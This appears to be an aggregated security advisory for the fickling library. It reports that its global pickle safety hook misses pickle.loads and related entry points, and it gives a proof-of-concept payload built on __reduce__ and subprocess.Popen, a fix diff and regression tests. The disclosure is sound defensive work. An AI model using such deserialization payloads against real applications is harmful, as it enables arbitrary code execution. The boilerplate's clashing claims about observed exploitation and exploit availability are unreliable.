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GHSA-wccx-j62j-r448
No affected components available
Assessment
The missing pickle entrypoints pickle.loads, _pickle.loads, and _pickle.load were added to the hook https://github.com/trailofbits/fickling/commit/8c24c6edabceab156cfd41f4d70b650e1cdad1f7.
Original report
Summary
fickling.always_check_safety() does not hook all pickle entry points. pickle.loads, _pickle.loads, and _pickle.load remain unprotected, enabling malicious payload execution despite global safety mode being enabled.
Affected versions
<= 0.1.8 (verified on current upstream HEAD as of 2026-03-03)
Non-duplication check against published Fickling GHSAs
No published advisory covers hook-coverage bypass in run_hook().
Existing advisories are blocklist/detection bypasses (runpy, pty, cProfile, marshal/types, builtins, network constructors, OBJ visibility, etc.), not runtime hook coverage parity.
Root cause
run_hook() patches only:
pickle.loadpickle.Unpickler_pickle.Unpickler
It does not patch:
pickle.loads_pickle.load_pickle.loads
Reproduction (clean upstream)
import io, pickle, _pickle
from unittest.mock import patch
import fickling
from fickling.exception import UnsafeFileError
class Payload:
def __reduce__(self):
import subprocess
return (subprocess.Popen, (['echo','BYPASS'],))
data = pickle.dumps(Payload())
fickling.always_check_safety()
# Bypass path
with patch('subprocess.Popen') as popen_mock:
pickle.loads(data)
print('bypass sink called?', popen_mock.called) # True
# Control path is blocked
with patch('subprocess.Popen') as popen_mock:
try:
pickle.load(io.BytesIO(data))
except UnsafeFileError:
pass
print('blocked sink called?', popen_mock.called) # False
Observed on vulnerable code:
pickle.loadsexecutes payloadpickle.loadis blocked
Minimal patch diff
--- a/fickling/hook.py
+++ b/fickling/hook.py
@@
def run_hook():
- pickle.load = loader.load
+ pickle.load = loader.load
+ _pickle.load = loader.load
+ pickle.loads = loader.loads
+ _pickle.loads = loader.loads
Validation after patch
pickle.loads,_pickle.loads, and_pickle.loadall raiseUnsafeFileError- sink not called in any path
Regression tests added locally:
test_run_hook_blocks_pickle_loadstest_run_hook_blocks__pickle_load_and_loadsintest/test_security_regressions_20260303.py
Impact
High-confidence runtime protection bypass for applications that trust always_check_safety() as global guard.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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